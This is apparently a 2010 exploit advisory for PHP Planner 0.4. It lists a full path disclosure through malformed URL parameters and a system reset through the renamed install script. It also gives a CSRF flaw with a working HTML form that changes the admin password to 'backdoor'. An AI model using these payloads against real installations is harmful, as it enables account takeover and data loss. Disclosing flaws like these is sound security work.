PHPplanner PHP Planner 0.4 – Multiple Vulnerabilities
# Title: phpplanner <= PHP Planner v.0.4 Multiple Vulnerabilities # Date: 13/05/10 # Author: cp77fk4r | empty0page[SHIFT+2]gmail.com | www.DigitalWhisper.co.il # Software Link: http://phpplanner.sourceforge.net/ # Version: <= v.0.4 # Tested on: PHP # ##[Full Path Disclosure] (Full Path Disclosure (FPD) vulnerabilities enable the attacker to see the path to the webroot/file. e.g.: /home/omg/htdocs/file/. Certain vulnerabilities, such as using the load_file() (within a SQL Injection) query to view the page source, require the attacker to have the full path to the file they wish to view. (OWASP)) # http://[server]/phpplanner/manage.php?stamp=cP http://[server/phpplanner/index.php?view=cP # Will returne: # Warning: strftime() expects parameter 2 to be long, string given in [FPD]\phpplanner\lib\functions.php on line 87 #and: Warning: date() expects parameter 2 to be long, string given in [FPD]\phpplanner\common.php on line 180 # ##[Remote System Init] Install_mysql.php's role is to create the database tables during installation of the system. After the end of his job, his name will be changed to "Install_mysql.php.lock": (rename(__FILE__,__FILE__ . '.lock');) # If the attacker will enter to this page (.php.lock) the code will run again and will reset the system. # ##[Cross Site Request Forgery] (CSRF is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email/chat), an attacker may force the users of a web application to execute actions of the attacker's choosing. A successful CSRF exploit can compromise end user data and operation in case of normal user. If the targeted end user is the administrator account, this can compromise the entire web application.) (OWASP)) # http://[server]/phpplanner/user_edit.php # To change the user's password: # HTTP GET: /user_edit.php HTTP POST: edtUsername = [victim's user name] && edtPassword = backdoor && edtPassword2 =backdoor # PoC: # <form name="form1" method="post" action="http:// [server]/phpplanner/user_edit.php"> <input name="edtUsername" type="hidden" size="60" value="admin"> <input name="edtPassword" type="hidden" size="60" value="backdoor"> <input name="edtPassword2" type="hidden" size="60" value="backdoor"> </form> # # [e0f] |